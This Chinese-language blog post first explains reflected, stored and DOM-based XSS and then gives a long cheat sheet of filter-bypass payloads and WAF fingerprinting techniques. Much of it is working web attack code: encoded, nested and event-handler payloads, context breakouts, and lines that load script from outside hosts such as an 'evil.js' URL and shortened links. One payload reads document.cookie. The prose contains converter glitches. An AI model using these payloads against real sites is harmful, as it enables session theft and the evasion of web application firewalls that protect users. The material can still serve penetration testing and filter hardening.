第二百六十五節,xss腳本攻擊介紹

xss腳本攻擊介紹javascript

 

Cross-Site Scripting(XSS)是一類出如今 web 應用程序上的安全弱點,攻擊者能夠經過 XSS 插入一 些代碼,使得訪問頁面的其餘用戶均可以看到,XSS 一般是能夠被看做漏洞的。它容許攻擊者繞過安全機 制,經過嘗試各類不一樣的方法插入惡意代碼,攻擊者能夠獲得敏感頁面的權限,會話,cookies,或者其 他的東西,XSS 分爲三類php

 

XSS 分類: css

非持久性,持久性和基於 Dom(此類能夠是持久的,也能夠是不持久的)html

 

非持久性:java

  非持久性 XSS 也被稱爲反射性 XSS,是目前最廣泛的類型,當攻擊者提供了一些代碼的時候, 服務器端立刻就會返回頁面的執行結果。舉個例子,就好比某個網頁上的搜索引擎,若是攻擊者搜索的字 符串包含了一些 html 標籤,一般來講,搜索的結果就會以該形式顯示出來,或者,至少,搜索的字符串 會包含在頁面裏。而這個咱們是能夠修改的,若是任何搜索的字符串都沒有被 html 編碼,XSS 漏洞就產 生了。python

 

持久性 XSS:web

  也叫作存儲型 XSS,或是二次漏洞,他可以致使更加有效的攻擊。當攻擊者提交到 web 應用 程序裏的數據會永久性的存儲到服務器的時候會產生這類漏洞,(好比數據庫,文件系統,其餘位置),之 後,若是沒有通過 HTML 編碼,那麼每個訪問該頁面的用戶都會被攻擊,典型的例子就是在線留言板, 它容許用戶提交數據。正則表達式

 

基於 DOM 的 XSS:sql

  也叫作本地跨站,基於 html/xml 上叫作文檔對象模型(DOM)的標準對象模型,這類 漏洞,問題出如今頁面的客戶端腳本上,好比,若是一個 javascript 腳本處理 url 請求參數,而後使用這 個參數值來顯示給用戶頁面,沒有通過任何編碼,那麼 XSS 漏洞產生,和非持久的相似,攻擊者能夠用惡 意代碼填充這個參數,而後覆寫的頁面誘騙用戶點擊,而後就會被瀏覽器解析成 html,包含了惡意的腳本 代碼。數據庫

 

發現XSS 漏洞

最經常使用的 XSS 漏洞測試代碼::

<script>alert("XSS")</script>

當這個代碼被注入到輸入框或是 url 參數的時候,會成功也可能會失敗,若是失敗了。也不意味着網站就 是安全的。須要繼續滲透。

 

XSS 繞過過濾

轉義字符串

第一步是查看當前的頁面源代碼,看看是否是包含了咱們的這個測試的字符串,若是你發現了。你就會發 現頗有意思。要細心。看到了把。是在一個輸入(INput)標籤裏。

<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

 

在這個例子,咱們能夠修改咱們的輸入來包含兩個字符,來讓代碼跳出那對外圍的單引號,

'><SCRIPT>alert("XSS")</SCRIPT>

 

如今咱們的代碼執行了。由於咱們閉合了前面的 html 標籤,就觸發了 XSS,可是,你可能會發現,頁面 上會顯示一個多出來的單引號,爲何,由於後面的那個原來的單引號沒有匹配,咱們繼續修改咱們的代 碼。

'><SCRIPT>alert("XSS")</SCRIPT><xss a='

 

全部的輸入就會變成這樣:

<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

Ok 了。Javascript 代碼就注入了。這個沒什麼意義,你能夠本身改,可是符合 html 的標準, 頁面不會出錯。

 

繞過單引號過濾繼續!

一樣的例子,可是咱們假設管理員在咱們的單引號以前放置了一個「\」,有時候雙引號以前也會放置,通 過一些相似 add_slashes 的函數能夠實現,這個就是轉義字符,咱們先前的代碼就會變成這樣:

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

 

有一些方法能夠繼續,可是要看過濾的那個函數是怎麼放的了。其中一個方法就是使用字符實體,學過 html 的都知道,就是一些特殊字符會用一些固有的符號組合來表示,舉個例子,你不能用<>表示大於和小於, 由於這被解釋爲 html 標籤,可是,你若是要用,能夠用下面的來代替。

 

使用&quot;或者&#34;

來代替咱們的雙引號,有時候能夠繞過過濾。

例子:

<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

 

若是這都被過濾了。那咱們可使用 JavaScript 的 fromCharCode 函數,這個函數把指定的 Unicode 值轉換成字符串。

好比:

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>

 

你可使用 Mysql 數據庫的 char(字符,字符)來轉換字符到字符碼,你們可使用本身喜歡的就好了。 轉碼的工具仍是不少的。

 

繞過 <SCRIPT> 過濾

有些過濾器會過濾到<script>標籤,那上面的例子就都廢了,可是。仍是有方法插入 javascript 的。咱們看看事件處理器的例子。

<BODY onload="alert('XSS')">

 

在 html 裏啊。這個 Onload 關鍵字就是一個事件,其餘的全部標籤都沒有這個屬性,可是 Body 標籤是 有的。可是,有必定的侷限性,若是 onload 事件在你的代碼以前已經被處理了。那就不會觸發了。。不 過咱們能夠繼續看看 onerror 事件處理。

<IMG SRC="" onerror="alert('XSS')">

注意看,圖片沒有指定,也就是出錯了。Onerror 這個事件就會發茶。引起 XSS 漏洞,沒有用<script>標籤哦。

 

使用 IMG 源

Html 中最經常使用的兩個標籤 img 和 a href 通常是不會過濾的,一個指定圖片,一個指定超連接。最危險的 事 img 標籤。

下面是一些例子:

標準的樣子:

<IMG SRC="javascript:alert('XSS');">

 

沒有雙引號和分號:

<IMG SRC=javascript:alert('XSS')>

 

過濾了雙引號和<script>:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

 

使用 CharCode 繞過過濾:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

 

有經驗的攻擊者也能夠把上面的所有轉換成相等的 Ascii 碼:

<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#10
1; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

 

使用 Ascii 表你能夠本身試試。固然轉換成 16 進制也是能夠的。。

<IMG
SRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C
;& #x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>

 

使用製表符, 換行符和回車符

這些符號都是能夠用來欺騙過濾器的。

<IMG SRC="jav&#x9ascript:alert('XSS');">

 

上面的例子使用了最小的十六進制的製表符來欺騙過濾器。最後的輸出結果不變

<IMG SRC="javascript:alert('XSS');">

 

使用空字符

另外一個能夠繞過的就是空字符,這是最有效的工具了。。

下面這個就是個例子。:

<SCR%00IPT>alert("XSS")</SCRIPT>

空字符 (%00) 使得過濾器不能看到完整的 <SCRIPT> 標籤. 只在 IE 6.0, IE 7.0 能夠。

 

雙引號配對的bug

繞過這種過濾就是尋找閉合的標籤,而後構造來突破

好比:

<IMG """><SCRIPT>alert('XSS')</SCRIPT>">

 

一般咱們認爲,img 標籤裏。前兩個引號被認爲是一對,什麼都不作,下一個引號和最後的匹配,可是事 實不是這樣,全部的瀏覽器都在試圖修正這一問題。

結果最終以下:

<img><script>alert('xss')</script>"&gt;

 

繞過CSS 過濾器

HTML 標籤用來插入 javaScript 頗有用,可是 CSS 也是能夠的哦。有不少方式向 CSS 裏插入 XSS,所 有更多的方法能夠攻擊,嘴尖的方法是吧 XSS 代碼放到 LINK 方式引用的 CSS 的 href 屬性裏面去

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

 

Ie7 已經不容許了。可是 opera 和 ie6 仍是能夠的。。
另外一個方式是使用<STYLE>標籤,不是很常見,通常是論壇啊。容許用戶設計本身的貼的源代碼的時候。

<STYLE> a { width: expression(alert('XSS')) } </STYLE>

 

還有一種方式

<DIV STYLE="width: expression(alert('XSS'));">

 

 

使用雙引號

若是你須要使用雙引號和單引號。使用一些詭異的用法把。。

<IMG SRC=`javascript:alert("Look its, 'XSS'")`>

 

轉義字符

轉義字符有時候頗有用,能夠對付一些簡單的過濾器

<IMG SRC=`javascript:alert(\"XSS\")`>

 

結果以下:

<IMG SRC=`javascript:alert(\\"XSS\\")`>

 

 

編碼

使用 utf-7 編碼能夠繞過

好比

<script>alert("XSS")</script>

 

使用 UTF-7 編碼後:

+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-

 

而後全部的加號須要被改爲%2b,不然會被瀏覽器識別爲鏈接符

%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-

 

一個列表:

Ok。就這樣。

 

 

WAF指紋識別和XSS過濾器繞過技巧

0x1 前言

以前在烏雲drops上看到一篇繞過WAF跨站腳本過濾器的一些技巧,是從國外的一篇paper部分翻譯過來的,能夠說文章摘取了原文核心的代碼部分,見Bypass XSS過濾的測試方法。看完後以爲確實講得比較全面和細緻,而後找出了英文原文的paper,看了一下並多此一舉的進行了下翻譯,翻譯得很差但算是有了篇完整的文章。

 

0x2 正文

 摘要:

  衆所周知,過去多年以來信息安全領域的劃分出現了。web應用正遭受攻擊,從這個角度來講,WAF(Web Application Firewalls)變得愈來愈流行,一般而言,各類機構會使用它來防範包括SQL注入、跨站腳本和遠程命令執行在內的各類攻擊。

  web應用依舊是網絡犯罪的一個主要攻擊向量,數據顯示網絡犯罪並無減小的跡象。攻擊者如今愈來愈多地經過經過跨站腳本、SQL注入和其餘一些滲透技術對應用層發起攻擊。

  web應用中的漏洞做爲一個攻擊目標能夠歸根於不少問題,包括:脆弱的輸入驗證、會話管理、不正確的系統設置及操做系統和服務器軟件的缺陷。值得注意的是,犯錯是人類的天性。實際上,編寫安全的代碼是減小web應用程序中漏洞的最有效方法。然而,在編程時咱們免不了要出錯,編寫安全的代碼說的遠比作起來要簡單,並且這還會涉及幾個關鍵的問題。


1.1 基本概念

  web應用中缺少對用戶輸入參數和服務端響應的有效驗證會引起XSS,這種攻擊能夠在目標用戶的瀏覽器中插入任意HTML代碼。

  從技術上來講,當用戶的輸入參數在瀏覽器中徹底顯示出來時就會出現這個問題,好比javascript代碼能被解析爲合法程序的一部分並能訪問文檔的全部實體(DOM)。現實中,在用戶瀏覽器中修改脆弱應用程序的HTML文檔或者使用網絡釣魚都會引起攻擊,XSS攻擊一般經過控制輸入字段實現大量網站的腳本注入。

 

1.2 介紹
  Firewalls、IDS、IPS是用於保護基礎設施免於惡意攻擊的最多見的安全機制。其中,防火牆最爲經常使用的安全機制,一般置於網絡層和應用層,經過基於預配置的註冊簽名數據庫監控客戶端和服務器端的HTTP和HTTPS流量,以此分析惡意數據包。
  通常來講,基於網絡的應用層防火牆的基本目標是監控和阻塞違背了預約義策略的用戶內容,有時候這些策略匹配可能成爲潛在攻擊的用戶輸入模式。經過WAF的規則在語義上而言和XSS的攻擊載荷是同樣的,關鍵在於避免處罰安全策略。
  WAF依賴於最多見的兩項措施,即白名單和黑名單,白名單意味着僅容許當前數據庫中白名單上的成員經過,而黑名單則會嘗試過濾掉不被容許的經過。最多見的方法是使用黑名單,意味着會過濾掉那些已知的不可靠的,然而設置黑名單並非正確的方法,它依賴於能夠被繞過的黑名單列表。本文着重於解釋各類能繞過WAF的方法,尤爲是那些依賴於黑名單機制的WAF。

 

2.1 指紋識別WAF
  在這一節中,咱們會學習一些識別WAF的技巧。偵查是行動的第一步,在繞過前先知道咱們面對的是什麼是很重要的。一些WAF會在cookie值或http響應中留下明顯的標記,這讓咱們能很容易的檢測出咱們面對的是什麼WAF。

 

2.1.1 Cookie值

  一些WAF會在HTTP通訊中加上它們惟一的cookie,這對攻擊者來講是很是有用的。

 

2.1.2 指紋識別 Citrix Netscaler
  Citrix Netscaler便一個例子,下面是向一個部署了Citrix Netscaler的應用發起的簡單而非惡意的GET請求

複製代碼
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ASPSESSIONIDAQQSDCSC=HGJHINLDNMNFHABGPPBNGFKC; 
ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;ns_af_.target.br_%2F_wat=QVNQU0VTU0lPTklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA& Connection: keep-alive Cache-Control: max-age=0
複製代碼

高亮部分標紅(ns_af)是netscaler在GET請求中添加的cookie,這暗示了該應用的背後運行中citrix netscaler

 

2.1.3 指紋識別 F5 BIG IP ASM
  F5是有着深層檢測功能的世界知名web應用防火牆,相似於citrix netscaler,F5 BiG IP ASM也會在它們的HTTP通訊中添加特定的cookie。下面是提交給有F5防火牆的應用一個非惡意GET請求:

複製代碼
GET / HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: target_cem_tl=40FC2190D3B2D4E60AB22C0F9EF155D5; s_fid=77F8544DA30373AC-31AE8C79E13D7394; s_vnum=1388516400627%26vn%3D1;
s_nr=1385938565978-New; s_nr2=1385938565979-New; s_lv=1385938565980; s_vi=[CS]v1|294DCEC0051D2761-40000143E003E9DC[CE];
fe_typo_user=7a64cc46ca253f9889675f9b9b79eb66;
TSe3b54b=36f2896d9de8a61cf27aea24f35f8ee1abd1a43de557a25c529fe828;
TS65374d=041365b3e678cba0e338668580430c26abd1a43de557a25c529fe8285a5ab5a8e5d0f299 Connection: keep-alive Cache-Control: max-age=0
複製代碼

 

2.1.4 HTTP Response
  其餘WAF能夠經過提交惡意請求後的HTTP響應類型來檢測,每款WAF的響應各不相同,比較常見的有40三、40六、41九、500、501等

 

2.1.5 指紋識別Mod_Security
  Mod_security是一款針對Apache服務器而設計的開源WAF,因爲是開源的,Mod_security曾被屢次繞過,但也所以其檢測能力有了重大的提高。一個惡意請求被髮送給部署了mod_security的應用後返回一個「406 Not acceptable」錯誤,在響應體中也暗示了該錯誤由mod_security生成。


請求:

複製代碼
GET /<script>alert(1);</script>HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
複製代碼

響應:

複製代碼
HTTP/1.1 406 Not Acceptable
Date: Thu, 05 Dec 2013 03:33:03 GMT
Server: Apache
Content-Length: 226
Keep-Alive: timeout=10, max=30
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>
複製代碼

 

2.1.5 指紋識別WebKnight

  Webknight是另外一款很是流行的WAF,針對IIS服務器而設計。Webknight使用黑名單機制並查找諸如SQL注入、路徑遍歷、XSS攻擊的特徵,不一樣於其餘WAF,識別Webknight很是容易,一個惡意請求返回"999 No Hacking"

請求:

複製代碼
GET /?PageID=99<script>alert(1);</script>HTTP/1.1
Host: www.aqtronix.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
複製代碼

響應:

複製代碼
HTTP/1.1 999 No Hacking
Server: WWW Server/1.1
Date: Thu, 05 Dec 2013 03:14:23 GMT
Content-Type: text/html; charset=windows-1252
Content-Length: 1160
Pragma: no-cache
Cache-control: no-cache
Expires: Thu, 05 Dec 2013 03:14:23 GMT
複製代碼

 

2.1.6 識別F5 BIG IP
  發送給F5 BIG IP的惡意請求會返回「419 Unknown」響應,這個也能夠做爲F5的指紋,即使請求中cookie值被隱藏了

請求:

複製代碼
GET /<script> HTTP/1.0
HTTP/1.1 419 Unknown
Cache-Control: no-cache
Content-Type: text/html; charset=iso-8859-15
Pragma: no-cache
Content-Length: 8140
Date: Mon, 25 Nov 2013 15:22:44 GMT
Connection: keep-alive
Vary: Accept-Encoding
複製代碼

 

2.1.7 識別dotDefender
  dotDefender是另外一款爲保護.net應用程序而設計的知名WAF,同Mod_security和Webknight相似,在發送惡意請求後dotDefender會在響應體中包含暗示自身的信息
請求:

複製代碼
GET /---HTTP/1.1
Host: www.acc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0
複製代碼

響應:

複製代碼
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 05 Dec 2013 03:40:14 GMT
Content-Length: 2616
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>dotDefender Blocked Your Request</title>
複製代碼

 

2.2.1 用Wafw00f自動指紋識別

  一些WAF足夠聰明,會在cookie值和HTTP響應中隱藏本身的標記,這意味着即使你發送一個惡意的請求,響應永遠都是「200 ok」,在這種狀況下咱們須要額外的測試來識別這種WAF的指紋。幸運的是,咱們可使用Wafw00f來節省咱們的時間。
  Wafw00f是一個python寫的、專門用於指紋識別WAF的小工具,它生成5種不一樣的測試來檢測WAF,例如跟蹤http請求裏面的cookies、分析發送惡意請求收到的http響應、使用丟FIN和RST數據包的方法並查看收到的響應、服務器隱藏、修改URL、選擇http方法及測試從一個WAF到另外一個WAF的預建的否認簽名。
  讓咱們直接從wafw00f源代碼看一下它使用的檢測方法。下面的幾個截圖演示了幾個做爲http請求發送的攻擊向量,包含了經常使用的XSS字符串、遍歷/etc/passwd的嘗試及一個乾淨的HTML字符串。這些是最WAF一開始就會阻塞的經常使用特徵,發送背後的意圖是引發WAF觸發一個惟一的錯誤以幫助wafw00f識別部署在應用後的WAF

2.2.2 基於Cookie的檢測

  wafw00f使用的最多見的類型是基於cookie的檢測,下面的截圖演示了使用正則表達式匹配特定的cookie,在本例中是F5asm和F5trafficsheild。注意到F5 traffic sheild也會在服務器頭裏返回"F5-TrafficSheild",而這就是咱們要找的代碼

 

2.2.3 匹配HTTP響應

  第二常見的類型檢測方法是匹配http響應,咱們以前已瞭解到有些WAF的響應含有獨一無二的http響應代碼,這有助於咱們識別使用的WAF。下面的代碼用於檢測應用背後是否部署了"webKnight"防火牆,它發送一個攻擊向量並匹配響應代碼是否爲"999",咱們前面已經發現當WebKnight收到一個惡意請求時會拋出「999」

 

2.2.4 WAF清單
  wafw00f中的-list參數能夠被用來肯定wafw00f目前能檢測的waf

複製代碼
def iswebknight(self):
  detected = False
  for attack in self.attacks:
    r = attack(self)
    if r is None:
    Return
  response,responsebody= r
  if response.status== 999:
    detected =True
    Break
return detected
複製代碼



2.2.5 使用工具
這個工具很容易使用,你只需執行下面的命令便可

./wafw00f.py http://www.target.com

 

3.1 繞過黑名單

  咱們知道,爲了節省時間大部分WAF提供商會使用黑名單進行否認,這意味着他們有一個包含複雜正則表達式的簽名數據庫,使用這個數據庫能夠查詢他們試圖阻塞的模式。問題在於這種基於黑名單的保護方法能夠被繞過,由於javascript是如此靈活,這取決於具體於上下文。咱們有成千上萬的方式可使用javascript繞過基於黑名單的保護機制,這也是咱們在這一節要討論的。

  有三種繞過黑名單的方法:

  1)暴力破解
  2)正則逆向
  3)瀏覽器bug

 

3.1.2 暴力破解

  在暴力破解方法中,咱們通常會拋出大量的攻擊載荷並指望它們能觸發,這也是大多數自動化工具和掃描器使用的方式。這種方法對一些過濾器而言多是有效的,可是在真實環境中卻經常會失敗,由於自動化掃描器不理解上下文內容,而咱們的攻擊載荷在不一樣上下文中也是不一樣的。

 

3.1.3 正則逆向

  這是繞過WAF的最佳方式,以前說過WAF依賴於使用它們數據庫中的前面來匹配攻擊載荷。這些指紋大多數是以複雜的正則表達式的形式存在,若是攻擊載荷匹配了規則庫中的正則就會觸發WAF,可是若是不匹配則不會觸發。使用這種方法,咱們須要花點時間來逆向猜想WAF的指紋,一旦知道了WAF的阻塞規則,咱們就能夠構造不會觸發WAF規則的攻擊載荷和有效的javascript語法。

 

3.1.4 瀏覽器Bug

  當上面兩種方法都無法成功,利用瀏覽器漏洞則是咱們剩下的最後一種辦法了,繞過瀏覽器的關鍵在於咱們要比供應商更加了解瀏覽器的機制。咱們經常會遇到有着完整規則的WAF,使用現代瀏覽器咱們無法繞過黑名單,所以咱們將陣地轉移至更舊的瀏覽器版本,看是否有已公佈的bug或者可否找到一個0 day。繼續嘗試,咱們能夠發現一些瀏覽器bug,並看看怎樣才能用它們繞過WAF。

 

4.1 繞過黑名單的方法 – Cheat Sheet

  本節咱們會看一下繞過黑名單的方法和方式,一樣我還會在本節中談及暴力破解和逆向正則的方法。

 

4.1.1 初始測試

  1)嘗試插入無害的HTML載荷如<b>,<i>,<u>,觀察它們是否會被阻塞,http響應是怎樣的。是否被html編碼了、標籤和尖括號是否被過濾了、是否有替換髮生。

  2)若是開或閉標籤被剔除了,嘗試插入未閉合的標籤(<b,<i,<u,<marquee)。觀察是否過濾了開標籤、插入的代碼表現是否完美。若是表現得很完美,這意味着正則表達式會查找有着開合閉標籤的html元素,而不會對開標籤進行過濾。

  3)接下來試一下99.99%的xss過濾器都會過濾的XSS載荷:

<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm (1);</script>
<script src="http://rhainfosec.com/evil.js">

  你收到的響應是什麼呢,它觸犯了403 forbidden頁面仍是500錯誤?是否在http響應中徹底剔除了整條語句了?或者只是部分剔除了,你還剩下alert、prompt、confrom?若是是這樣的話,()是否也被過濾了呢?

  接下來,試着注入大小寫組合的代碼,說不定只有小寫會被過濾。

<scRiPt>alert(1);</scrIPt>

  4)假設大小寫組合沒法繞過過濾器,咱們還可使用嵌套的標籤.

<scr<script>ipt>alert(1)</scr<script>ipt>

  這種狀況下,過濾器會剔除<script>和</script>標籤,當外層的標籤被過濾後<scr ipt>會結合起來造成合法的JavaScript代碼,這樣你就能繞過限制了

  5)接下來咱們會使用<a href標籤,看它會返回什麼

<a href=」http://www.google.com>Google Search</a>

  <a標籤被過濾了嗎?

  href被過濾了嗎?
  href裏面的數據被過了了嗎?


  若是標籤都沒有過濾掉,咱們能夠在href標籤裏面插入javascript語句

<a href=」javascript:alert(1)」>Clickme</a>

  它觸發了錯誤嗎?

  是否href裏面的整個javascript標籤都被剔掉了,或者僅剔除了"javaScript"?
  試一下混合的大小寫可否繞過

 

  若是咱們在href標籤中,但javascript關鍵字被過濾了,還有不少不一樣的編碼類型可供使用,後面會說到。接下來咱們試一下使用事件處理執行Javascript代碼

<a href="www.cnblogs.com/r00tgrok" onmouseover=alert(1)>ClickHere</a>

  事件處理被刪掉了嗎?

  仍是說僅僅過濾了"on"後面的"mouseover"

 

  接下來插入一個無效的事件處理檢驗是否全部的事件處理都會被過濾或者僅部分會被過濾

<a href="www.cnblogs.com/r00tgrok" onclimbatree=alert(1)>ClickHere</a>

  收到相同的響應了嗎?

  你能注入嗎?

  若是咱們能夠注入無效的事件處理且"on"部分並未過濾,這意味着會過濾特定的事件處理。在HTML5中,咱們有超過150種事件處理,這也意味着咱們有150多種方法執行javascript,一個顯著的變化是事件處理不會被過濾掉。一個不多被過濾的事件處理爲"onhashchange":

<body/onhashchange=alert(1)><a href=#>click me

 

4.1.2 測試其餘標籤

  接下來咱們嘗試一下其餘經常使用能生成有效javascript語法的標籤和屬性

src屬性:
  接下來咱們會測試src屬性是否會被過濾,有不少html標籤均可以使用src屬性執行JavaScript代碼

<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);> 
<audio src=x onerror=prompt(1);>

iframe:

<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

embed標籤:

<embed/src=//goo.gl/nlX0P>

action屬性:

  action是另一個能夠用於執行javascript腳本的屬性,一般用於<form、<isindex等元素中

<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>

變種:

<formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK

formaction屬性:

<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript&colon;alert(1)>CLICKME

background屬性:

<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6

poster屬性:

<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5

data屬性:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?

code屬性:

<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

 

事件處理:

複製代碼
 <svg/onload=prompt(1);>
 <marquee/onstart=confirm(2)>/
 <body onload=prompt(1);>
 <select autofocus onfocus=alert(1)>
 <textarea autofocus onfocus=alert(1)>
 <keygen autofocus onfocus=alert(1)>
 <video><source onerror="javascript:alert(1)">
複製代碼

最短向量:

<q/oncut=open()>
<q/oncut=alert(1)> // Useful in case of payload restrictions.

嵌套:

<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8
<command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8

 

當圓括號被阻塞時使用throw:

<a onmouseover="javascript:window.onerror=alert;throw 1>

另外一個變種:

<img src=x onerror="javascript:window.onerror=alert;throw 1">

 

Chrome和IE中,上面的向量會拋出一個"uncaught",然而可使用十六進制戲法

<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';

 

expression屬性:

<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''&#0;x:expression(alert(1))"></div> // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7

location屬性:

<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location='javascrpt:alert(1) >123

其餘載荷:

<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> 
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> 
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click 

 

當 = ( ) ; : 都不被容許時的XSS載荷:

<svg><script>alert&#40/1/&#41</script> // Works With All Browsers
//  ( is html encoded to &#40
//  ) is html encoded to &#41

 

Opera中的變種:

<svg><script>alert&#40 1&#41 // Works with Opera Only

 

實體解碼:
  一般那個WAF都會對輸入進行解碼,你應該測試一下你所遇到的WAF是否會進行實體解碼。下面給出的例子不是一個孤立有效的XSS向量,然而有時候WAF會將其解碼造成完美的javascript語法,而後你就能繞過了

&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>

 

4.1.4 編碼

  javascript是一門十分靈活的語言,咱們能夠靈活的使用多種類型編碼,如十六進制、Unicode、HTML。然而他們對載荷編碼都有某些的規則。有時候WAF解碼實體時狀況有所不一樣,這裏是一個特定屬性的列表,其後是他們支持的編碼方式。
屬性:

複製代碼
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
複製代碼

支持的編碼: HTML, 八進制, 十進制, 十六進制, Unicode

屬性:data=  支持的編碼:base64

 

4.1.5 基於上下文的過濾

  web應用過濾器一個很大的問題是它們不理解上下文黑名單能阻塞單獨的javascript腳本,但對於防範XSS卻並非那麼有效。緣由在於咱們並非每次都須要一個單獨的向量來執行javascript腳本,不少時候咱們的輸入會被反射,這種狀況下咱們不須要單獨的javascript腳原本執行有效的javascript語句,看幾個例子:

屬性中的輸入反射:

<input value="XSStest" type=text>


  顯然咱們可使用 ><imgsrc=x onerror=prompt(0);>, 這樣的語句,咱們使用>閉合input標籤而後插入本身的載荷。然而,有時候咱們的<>會被轉義或過濾掉,咱們可使用類似的方法繞過並執行咱們的javascript腳本

autofocusonfocus=alert(1)//

  基本上咱們在最前面使用"來閉合標籤中的值而後執行咱們的事件處理函數:

" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="

 

<script>標籤中的輸入反射:

<script>
Var x=」Input」; </script>

  

  咱們如今面臨的是不容許<>的狀況,所以咱們不能使用一個已有的屬性如"></script>。然而,在這種狀況下咱們不須要閉合腳本屬性來執行JavaScript,由於咱們的輸入已經反射在script標籤中了。咱們能夠直接調用alert()、prompt()、confirm()函數執行有效的JavaScript代碼,下面的輸入會觸發一個alert

「;alert(1)//

 

